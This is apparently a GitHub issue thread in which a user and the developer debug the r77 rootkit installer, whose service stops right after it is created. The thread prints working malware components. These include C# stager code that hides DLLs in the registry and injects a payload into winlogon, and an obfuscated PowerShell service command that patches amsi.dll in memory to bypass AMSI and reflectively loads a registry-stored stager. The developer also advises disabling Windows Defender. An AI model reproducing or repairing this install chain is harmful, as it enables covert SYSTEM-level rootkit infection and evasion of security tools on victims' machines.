Install.exe Creates Service but Service Immediately Stops

[olowmaster222]

Has anyone dealt with using Install.exe, either from the official release or a self-built one?

I’m running into an issue where the Install.exe from the release build does absolutely nothing — it doesn’t start the service or perform any actions at all.

The Install.exe that I built myself does create the service, but the service immediately stops afterward.

С:\Users\solo>sc query svc

SERVICE_NAME: svc
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0

C:\Windows\System32>sc qc svc
[SC] QueryServiceConfig FAILED 1734:

The array bounds are invalid.

C:\Windows\System32>net start svc
The service is not responding to the control function.

More help is available by typing NET HELPMSG 2186.

I also noticed the following:

PS C:\WINDOWS\system32> reg query "HKLM\SOFTWARE" /v '$77dll64'

ERROR: The system was unable to find the specified registry key or value.

PS C:\WINDOWS\system32> reg query "HKLM\SOFTWARE" /v '$77dll32'

ERROR: The system was unable to find the specified registry key or value.

PS C:\WINDOWS\system32> reg query "HKLM\SOFTWARE" /v '$77stager'

HKEY_LOCAL_MACHINE\SOFTWARE
$77stager REG_BINARY

Both 77dll64 and 77dll32 are empty/missing.

[olowmaster222]

ps
I ran the test on three different systems: Windows 11 with the January update, Windows 11 with older (over a year old) updates, and Windows 10.

[bytecode77]

The failure must be that the stager is not successfully invoked by the powershell command:

Windows Service
         |
         v
cmd.exe
      |
      v
powershell.exe
         |
         v
Loads stager.exe from the registry and invokes entry point
         |
         v
Stager writes both DLL's to the registry and then injects winlogon.

Since the stager executable is stored in the registry and it's job is to extract both DLL files to the registry, I'm assuming the stager did not run.

// Write r77-x86.dll and r77-x64.dll to the registry.
// Install.exe could also do this, but .NET has better compression routines.
using (RegistryKey key = Registry.LocalMachine.OpenSubKey("SOFTWARE", true))
{
	key.SetValue(R77Const.HidePrefix + "dll32", Decompress(Decrypt(Resources.Dll32)));
	key.SetValue(R77Const.HidePrefix + "dll64", Decompress(Decrypt(Resources.Dll64)));
}

// Get r77 service DLL.
byte[] payload = Decompress(Decrypt(IntPtr.Size == 4 ? Resources.Service32 : Resources.Service64));

// Inject the r77 service DLL into the a suitable process running under the SYSTEM user.
int processId = Process.GetProcessesByName("winlogon")[0].Id;
Inject.InjectDll(processId, payload);

The question is why... Can you do one test for me fully disable Windows Defender on your testing machine and let me know whether r77 initializes then? That's always the most likely candidate, as AV detection is very critical and on a public repo, AV usually wins, unless you prep the project to not be detectable.

[olowmaster222]

Yes, I ran tests with the Defender completely turned off, and also added install.exe to the exceptions, but there was no change. That's why I wrote this, thinking I was doing something wrong.

While looking through the logs, I found this

• System

  • Provider

  [ Name] Service Control Manager
  [ Guid] {555908d1-a6d7-4695-8e1e-26931d2012f4}
  [ EventSourceName] Service Control Manager

  • EventID 7045

  [ Qualifiers] 16384

  Version 0

  Level 4

  Task 0

  Opcode 0

  Keywords 0x8080000000000000

  • TimeCreated

  [ SystemTime] 2026-05-07T21:33:34.0514711Z

  EventRecordID 1539

  Correlation

  • Execution

  [ ProcessID] 928
  [ ThreadID] 11088

  Channel System

  Computer SOLO83B6

  • Security

  [ UserID] S-1-5-21-3366021518-2478771354-2320889000-1000

• EventData

  ServiceName $77svc
  ImagePath cmd.exe /c "powershell.exe -Command ""function Local:hksJNOBeCdIt{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$HmBgFDJWmFnbqV,[Parameter(Position=1)][Type]$pweYlRsnQU)$iYIvhOiaXyW=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+Char+''+'e'+''+'f'+''+Char+''+Char+'c'+Char+''+Char+''+Char+''+'D'+''+Char+''+Char+'egat'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+Char+''+Char+''+Char+'e'+Char+'o'+Char+''+'y'+''+Char+''+Char+'d'+'u'+''+'l'+''+'e'+'',$False).DefineType(''+'M'+''+'y'+'D'+Char+''+Char+''+'e'+''+Char+''+Char+''+'t'+''+Char+''+Char+''+Char+''+'p'+''+Char+'',''+Char+'l'+'a'+''+Char+''+'s'+','+Char+''+Char+''+Char+'l'+'i'+''+'c'+''+Char+''+Char+''+Char+'a'+'l'+''+'e'+''+'d'+''+','+''+Char+'n'+Char+''+'i'+'C'+Char+'a'+'s'+''+'s'+''+','+''+'A'+''+Char+''+'t'+'oC'+Char+''+'a'+''+Char+''+Char+'',[MulticastDelegate]);$iYIvhOiaXyW.DefineConstructor('R'+'T'+''+Char+''+Char+'eci'+Char+''+Char+''+'N'+'a'+Char+''+'e'+''+Char+'Hi'+Char+''+Char+''+'B'+''+Char+''+Char+'i'+'g'+''+','+''+'P'+''+'u'+''+Char+''+Char+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$HmBgFDJWmFnbqV).SetImplementationFlags(''+Char+'u'+'n'+''+Char+'im'+Char+',M'+Char+''+Char+''+Char+''+Char+''+'e'+''+'d'+'');$iYIvhOiaXyW.DefineMethod(''+'I'+''+'n'+''+Char+''+'o'+''+Char+''+'e'+'','P'+'u'+''+'b'+''+Char+''+Char+'c'+Char+''+'H'+''+'i'+''+Char+''+'e'+''+Char+''+'y'+''+'S'+'i'+Char+''+Char+''+Char+''+Char+''+Char+''+'S'+''+'l'+'o'+'t'+''+Char+''+'V'+''+Char+'rt'+Char+'al',$pweYlRsnQU,$HmBgFDJWmFnbqV).SetImplementationFlags('R'+'u'+''+Char+'tim'+'e'+''+Char+''+Char+''+Char+''+Char+''+Char+''+'g'+''+Char+'d');Write-Output $iYIvhOiaXyW.CreateType();}$DnppsnkpWorDL=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$.GlobalAssemblyCache -And $.Location.Split('')[-1].Equals('Syst'+Char+'m'+'.'+''+Char+'l'+'l'+'')}).GetType(''+Char+'i'+Char+'r'+Char+'s'+Char+''+'f'+''+'t'+''+Char+'W'+Char+''+'n'+''+'3'+''+Char+''+Char+''+Char+''+Char+''+Char+'a'+Char+''+'e'+''+Char+''+'a'+''+Char+''+'i'+''+'v'+'e'+Char+''+Char+''+Char+''+'h'+'od'+Char+'');$TMBsXBqRdjzJeB=$DnppsnkpWorDL.GetMethod(''+Char+'et'+'P'+'r'+Char+''+Char+''+'A'+''+Char+''+Char+''+Char+''+'e'+'ss',Reflection.BindingFlags,$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$QyOJCNKmQtFfwKCLPbL=hksJNOBeCdIt @([String])([IntPtr]);$spJqrCxdCgOpteHJwmcZXn=hksJNOBeCdIt @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$sKeeCpWSVSg=$DnppsnkpWorDL.GetMethod(''+Char+''+Char+''+Char+''+Char+''+Char+''+Char+'u'+Char+''+Char+''+Char+''+'a'+''+'n'+''+Char+''+Char+''+'e'+'').Invoke($Null,@(Object));$ydHXLAhtYtniHT=$TMBsXBqRdjzJeB.Invoke($Null,@([Object]$sKeeCpWSVSg,Object));$KWjWCysxbyDmTtASg=$TMBsXBqRdjzJeB.Invoke($Null,@([Object]$sKeeCpWSVSg,Object));$TufXyGw=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ydHXLAhtYtniHT,$QyOJCNKmQtFfwKCLPbL).Invoke(''+Char+''+'m'+''+'s'+''+'i'+'.'+Char+'l'+'l'+'');$GeUvkwYLCifBdhOqw=$TMBsXBqRdjzJeB.Invoke($Null,@([Object]$TufXyGw,Object));$DDGzMBEMvj=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KWjWCysxbyDmTtASg,$spJqrCxdCgOpteHJwmcZXn).Invoke($GeUvkwYLCifBdhOqw,[uint32]8,4,[ref]$DDGzMBEMvj);[Runtime.InteropServices.Marshal]::Copy(Byte[],0,$GeUvkwYLCifBdhOqw,22-8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KWjWCysxbyDmTtASg,$spJqrCxdCgOpteHJwmcZXn).Invoke($GeUvkwYLCifBdhOqw,[uint32]8,0x20,[ref]$DDGzMBEMvj);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+Char+''+Char+'T'+Char+''+'A'+''+'R'+''+Char+'').GetValue(''+Char+''+'7'+''+Char+''+Char+''+Char+'a'+'g'+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"""
  ServiceType user mode service
  StartType auto start
  AccountName LocalSystem

• System

  • Provider

  [ Name] Service Control Manager
  [ Guid] {555908d1-a6d7-4695-8e1e-26931d2012f4}
  [ EventSourceName] Service Control Manager

  • EventID 7009

  [ Qualifiers] 49152

  Version 0

  Level 2

  Task 0

  Opcode 0

  Keywords 0x8080000000000000

  • TimeCreated

  [ SystemTime] 2026-05-07T21:33:46.5989172Z

  EventRecordID 1540

  Correlation

  • Execution

  [ ProcessID] 928
  [ ThreadID] 11088

  Channel System

  Computer SOLO83B6

  Security

• EventData

  param1 30000
  param2 $77svc
  2400370037007300760063000000

---

Binary data:

In Words

0000: 00370024 00730037 00630076 0000

In Bytes

0000: 24 00 37 00 37 00 73 00 $.7.7.s.
0008: 76 00 63 00 00 00 v.c...

[bytecode77]

Can you edit the service and copy this command into your clipboard, and execute it in cmd? If the script fails for any reason then we would directly see that.

You need to include cmd.exe /c and paste that in your console also, because it increases the level of character escaping from \" to \\\", so it only really works as a whole.

[olowmaster222]

C:\Windows\System32>cmd.exe /c "powershell.exe -Command ""function Local:twnpoYuHGHdT{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$vuWKMMUEclVYiK,[Parameter(Position=1)][Type]$bEvrVFpcAz)$wIXfGppFYHM=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+Char+''+Char+''+'f'+'l'+Char+''+Char+''+Char+''+'e'+'d'+Char+'e'+Char+'ega'+Char+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+'M'+''+Char+'m'+Char+''+'r'+''+Char+'M'+'o'+''+'d'+''+'u'+''+Char+'e',$False).DefineType(''+Char+''+Char+''+'D'+'e'+Char+''+'e'+''+Char+''+Char+'t'+Char+''+Char+''+Char+''+Char+''+Char+'',''+Char+''+'l'+''+Char+'ss'+Char+'P'+Char+''+'b'+''+'l'+'i'+'c'+''+','+''+Char+''+'e'+''+Char+''+Char+'ed,'+Char+''+Char+''+Char+''+Char+''+Char+'l'+Char+'s'+Char+''+Char+'A'+Char+'t'+Char+''+'C'+''+'l'+''+Char+''+Char+''+Char+'',[MulticastDelegate]);$wIXfGppFYHM.DefineConstructor(''+Char+''+Char+'S'+'p'+''+Char+''+'c'+''+Char+''+Char+''+Char+''+Char+''+Char+''+Char+''+Char+''+','+'H'+'i'+''+Char+''+'e'+'B'+'y'+'Si'+'g'+''+Char+''+Char+''+Char+''+Char+'li'+Char+'',[Reflection.CallingConventions]::Standard,$vuWKMMUEclVYiK).SetImplementationFlags(''+Char+'un'+Char+''+'i'+''+Char+''+Char+','+Char+''+'a'+''+'n'+''+Char+''+Char+''+Char+'d');$wIXfGppFYHM.DefineMethod(''+'I'+''+Char+''+'v'+''+Char+''+Char+'e',''+Char+'u'+Char+''+Char+''+Char+''+Char+''+Char+'H'+Char+''+Char+'e'+'B'+''+Char+''+'S'+''+Char+''+Char+''+','+''+Char+''+Char+'w'+Char+''+'l'+''+'o'+''+'t'+''+Char+''+Char+''+Char+''+Char+'t'+Char+''+Char+''+Char+'',$bEvrVFpcAz,$vuWKMMUEclVYiK).SetImplementationFlags(''+Char+''+Char+''+Char+''+Char+''+'i'+''+'m'+'e'+','+''+Char+'a'+Char+''+Char+''+'g'+''+Char+''+Char+'');Write-Output $wIXfGppFYHM.CreateType();}$BikhuuduhmGlq=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$.GlobalAssemblyCache -And $.Location.Split('')[-1].Equals('S'+Char+''+Char+''+Char+''+Char+''+'m'+'.'+'d'+''+'l'+''+Char+'')}).GetType(''+Char+''+'i'+''+Char+''+'r'+''+Char+''+Char+''+'o'+'ft'+Char+'W'+Char+''+Char+'3'+Char+''+'.'+''+Char+''+Char+''+Char+'a'+'f'+''+Char+''+'N'+''+Char+'t'+'i'+''+'v'+'e'+'M'+''+Char+'t'+'h'+''+Char+''+'d'+''+'s'+'');$CEnmvcGuPcaBUF=$BikhuuduhmGlq.GetMethod(''+'G'+''+Char+''+'t'+''+'P'+''+'r'+''+'o'+'cA'+'d'+''+'d'+'r'+Char+''+'s'+''+Char+'',Reflection.BindingFlags,$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$IvRfFELNpJiJuruDKte=twnpoYuHGHdT @([String])([IntPtr]);$bckxHlOvTfznCfnPiqYIfT=twnpoYuHGHdT @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$MmGuGJJAPtr=$BikhuuduhmGlq.GetMethod('G'+'e'+'t'+Char+''+Char+''+Char+'u'+'l'+''+Char+'H'+'a'+'ndle').Invoke($Null,@(Object));$AlWYSqTeTXxqLj=$CEnmvcGuPcaBUF.Invoke($Null,@([Object]$MmGuGJJAPtr,Object));$vHaBGYqFOjTzwXgor=$CEnmvcGuPcaBUF.Invoke($Null,@([Object]$MmGuGJJAPtr,Object));$ADwVivo=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AlWYSqTeTXxqLj,$IvRfFELNpJiJuruDKte).Invoke('a'+'m'+'si.'+Char+''+'l'+''+Char+'');$dHcqLjHaKFZhEdqdJ=$CEnmvcGuPcaBUF.Invoke($Null,@([Object]$ADwVivo,Object));$IHZnNlGRok=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vHaBGYqFOjTzwXgor,$bckxHlOvTfznCfnPiqYIfT).Invoke($dHcqLjHaKFZhEdqdJ,[uint32]8,4,[ref]$IHZnNlGRok);[Runtime.InteropServices.Marshal]::Copy(Byte[],0,$dHcqLjHaKFZhEdqdJ,95-81);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vHaBGYqFOjTzwXgor,$bckxHlOvTfznCfnPiqYIfT).Invoke($dHcqLjHaKFZhEdqdJ,[uint32]8,0x20,[ref]$IHZnNlGRok);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+Char+''+Char+''+'F'+''+Char+''+Char+'A'+Char+''+Char+'').GetValue(''+Char+'7'+Char+'s'+Char+'ag'+Char+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"""
True
True

Unhandled Exception: System.Runtime.InteropServices.SEHException: External component has thrown an exception.
at System.Reflection.RuntimeAssembly.nLoadImage(Byte[] rawAssembly, Byte[] rawSymbolStore, Evidence evidence, StackCrawlMark& stackMark, Boolean fIntrospection, Boolean fSkipIntegrityCheck, SecurityContextSource securityContextSource)
at System.Reflection.Assembly.Load(Byte[] rawAssembly)
at CallSite.Target(Closure , CallSite , Type , Object )
at System.Dynamic.UpdateDelegates.UpdateAndExecute2[T0,T1,TRet](CallSite site, T0 arg0, T1 arg1)
at System.Management.Automation.Interpreter.DynamicInstruction3.Run(InterpretedFrame frame) at System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame frame) at System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame frame) at System.Management.Automation.Interpreter.Interpreter.Run(InterpretedFrame frame) at System.Management.Automation.Interpreter.LightLambda.RunVoid1[T0](T0 arg0) at System.Management.Automation.DlrScriptCommandProcessor.RunClause(Action1 clause, Object dollarUnderbar, Object inputToProcess)
at System.Management.Automation.DlrScriptCommandProcessor.Complete()
at System.Management.Automation.CommandProcessorBase.DoComplete()
at System.Management.Automation.Internal.PipelineProcessor.DoCompleteCore(CommandProcessorBase commandRequestingUpstreamCommandsToStop)
at System.Management.Automation.Internal.PipelineProcessor.SynchronousExecuteEnumerate(Object input)
at System.Management.Automation.Runspaces.LocalPipeline.InvokeHelper()
at System.Management.Automation.Runspaces.LocalPipeline.InvokeThreadProc()
at System.Management.Automation.Runspaces.PipelineThread.WorkerProc()
at System.Threading.ExecutionContext.RunInternal(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean preserveSyncCtx)
at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean preserveSyncCtx)
at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state)
at System.Threading.ThreadHelper.ThreadStart()

[olowmaster222]

PS C:\WINDOWS\system32> $v = [Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')

PS C:\WINDOWS\system32> $v.GetType().FullName

System.Byte[]
PS C:\WINDOWS\system32> $v.Length
164352
PS C:\WINDOWS\system32>

System.Byte[] and 164352 mean the registry format is normal

PS C:\WINDOWS\system32> $v[0..1]
77
90
PS C:\WINDOWS\system32> [IO.File]::WriteAllBytes("$env:TEMP\stager.bin", $v)
PS C:\WINDOWS\system32> try {

$asm = [Reflection.Assembly]::Load($v)
$asm.FullName
$asm.EntryPoint

} catch {
$.Exception.GetType().FullName
$.Exception.Message
$_.Exception.InnerException
}
Stager, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null

Name : Main
DeclaringType : Program
ReflectedType : Program
MemberType : Method
MetadataToken : 100663306
Module : Stager.exe
IsSecurityCritical : True
IsSecuritySafeCritical : True
IsSecurityTransparent : False
MethodHandle : System.RuntimeMethodHandle
Attributes : PrivateScope, Public, Static, HideBySig
CallingConvention : Standard
ReturnType : System.Void
ReturnTypeCustomAttributes : Void
ReturnParameter : Void
IsGenericMethod : False
IsGenericMethodDefinition : False
ContainsGenericParameters : False
MethodImplementationFlags : Managed
IsPublic : True
IsPrivate : False
IsFamily : False
IsAssembly : False
IsFamilyAndAssembly : False
IsFamilyOrAssembly : False
IsStatic : True
IsFinal : False
IsVirtual : False
IsHideBySig : True
IsAbstract : False
IsSpecialName : False
IsConstructor : False
CustomAttributes : {}

PS C:\WINDOWS\system32>

This means that $77stager itself is a valid .NET assembly and Assembly.Load($v) works.

PS C:\WINDOWS\system32> $v = [Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')

PS C:\WINDOWS\system32> $asm = [Reflection.Assembly]::Load($v)

PS C:\WINDOWS\system32> $asm.FullName

Stager, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
PS C:\WINDOWS\system32> $asm.EntryPoint

Name : Main
DeclaringType : Program
ReflectedType : Program
MemberType : Method
MetadataToken : 100663306
Module : Stager.exe
IsSecurityCritical : True
IsSecuritySafeCritical : True
IsSecurityTransparent : False
MethodHandle : System.RuntimeMethodHandle
Attributes : PrivateScope, Public, Static, HideBySig
CallingConvention : Standard
ReturnType : System.Void
ReturnTypeCustomAttributes : Void
ReturnParameter : Void
IsGenericMethod : False
IsGenericMethodDefinition : False
ContainsGenericParameters : False
MethodImplementationFlags : Managed
IsPublic : True
IsPrivate : False
IsFamily : False
IsAssembly : False
IsFamilyAndAssembly : False
IsFamilyOrAssembly : False
IsStatic : True
IsFinal : False
IsVirtual : False
IsHideBySig : True
IsAbstract : False
IsSpecialName : False
IsConstructor : False
CustomAttributes : {}

PS C:\WINDOWS\system32>

This confirms that the stager is valid and loads normally.

PS C:\WINDOWS\system32> $v = [Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')

PS C:\WINDOWS\system32> $asm = [Reflection.Assembly]::Load($v)

PS C:\WINDOWS\system32> try {

$asm.EntryPoint.Invoke($null, @())

} catch {
$.Exception.GetType().FullName
$.Exception.Message
$_.Exception.InnerException
}
PS C:\WINDOWS\system32>

The patch corrupts process memory or hits the wrong address/offset/architecture, causing the CLR to crash unstably on the next managed operation.

Any ideas?

[bytecode77]

Now that's what I call a really nice bug report, great! I wish everybody was that thoroughly.

1. Powershell calls UpdateAndExecute2 and loads the stager binary from the registry. This executable itself throws an exception
2. SEHException indicates corrupted memory rather than a normal .NET exception
3. Anything before writing dll32 and dll64 could cause such an error, and my first guess is Unhook.UnhookDll

Could you do me a favor and remove the unhooking calls in the stager and recompile, then run the installer? I would be very curious if that's the component that crashes the stager.